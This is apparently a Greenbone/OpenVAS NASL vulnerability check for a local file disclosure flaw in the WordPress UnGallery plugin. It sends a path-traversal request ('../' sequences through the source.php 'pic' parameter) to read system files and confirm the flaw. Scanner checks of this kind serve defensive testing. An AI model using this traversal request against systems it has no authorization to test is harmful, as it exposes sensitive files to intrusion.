WordPress UnGallery 'source_vuln.php' Local File Disclosure Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103218");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2011-08-22 16:04:33 +0200 (Mon, 22 Aug 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("WordPress UnGallery 'source_vuln.php' Local File Disclosure Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("gb_wordpress_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49259");
  script_xref(name:"URL", value:"http://downloads.wordpress.org/plugin/");

  script_tag(name:"impact", value:"Exploiting this vulnerability would allow an attacker to obtain
  potentially sensitive information from local files on computers
  running the vulnerable application. This may aid in further attacks.");

  script_tag(name:"affected", value:"UnGallery versions 1.5.8 and prior are vulnerable.");

  script_tag(name:"summary", value:"The UnGallery plug-in for WordPress is prone to a local file-
  disclosure vulnerability because it fails to adequately validate user-supplied input.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

files = traversal_files();

foreach file (keys(files)) {

  url = string(dir, "/wp-content/plugins/ungallery/source.php?pic=", crap(data:"../", length:3*9), files[file]);
  if(http_vuln_check(port:port, url:url, pattern:file)) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);